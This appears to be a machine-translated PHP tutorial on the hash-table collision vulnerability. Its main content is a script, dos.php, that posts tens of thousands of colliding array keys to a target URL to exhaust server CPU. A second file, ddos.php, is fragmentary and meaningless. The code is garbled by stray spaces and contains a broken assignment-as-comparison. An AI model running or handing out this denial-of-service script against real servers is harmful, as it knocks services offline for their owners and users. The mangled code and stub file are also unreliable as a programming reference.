This article mainly introduces how PHP uses the hash conflict vulnerability for DDoS attacks. The example analyzes the principles and implementation skills of php's use of hash for DDoS attacks, for more information about how PHP uses the hash conflict vulnerability to launch DDoS attacks, see the example in this article. Share it with you for your reference. The specific analysis is as follows:
First, declare:This article is only used for research and usage. do not use it for illegal activities!
We have mentioned the hash table collision vulnerability recently. many common languages, including java, python, and php, are not spared. let's take a look at its power tonight.
Attack principle:
By posting a group of carefully crafted array parameters to the target server, when the underlying language processes the received array parameters at the server end, this vulnerability causes high CPU consumption, eventually, the server resources are exhausted.
You don't need to use any fancy techniques. you can simply use PHP to check the effect.
File: dos. php
// Target address // as long as the target address exists, you don't need to worry about it. $ host = 'http: // 127.0.0.1/test. php '; $ data = ''; $ size = pow (2, 15); for ($ key = 0, $ max = ($ size-1) * $ size; $ key <= $ max; $ key + = $ size) {$ data. = '& array ['. $ key. '] = 0';} $ ret = curl ($ host, ltrim ($ data,' & '); var_dump ($ ret); function curl ($ url, $ post, $ timeout = 30) {$ ch = curl_init (); curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ($ ch, CURLOPT_TIMEOUT, $ timeout ); curl_setopt ($ ch, CURLOPT_CONNECTTIMEOUT, $ timeout-5); curl_setopt ($ ch, CURLOPT_HTTPHEADER, array ('CT: '); curl_setopt ($ ch, CURLOPT_URL, $ url ); curl_setopt ($ ch, CURLOPT_POST, true); curl_setopt ($ ch, CURLOPT_POSTFIELDS, $ post); $ output = curl_exec ($ ch); if ($ output = false) return false; $ info = curl_getinfo ($ ch); $ http_code = $ info ['http _ Code']; if ($ http_code = 404) return false; curl_close ($ ch); return $ output ;}
File: ddos. php
DDOS <? Php for ($ I = 0; $ I <5; $ I ++) {// echo '';}?>
I hope this article will help you with php programming.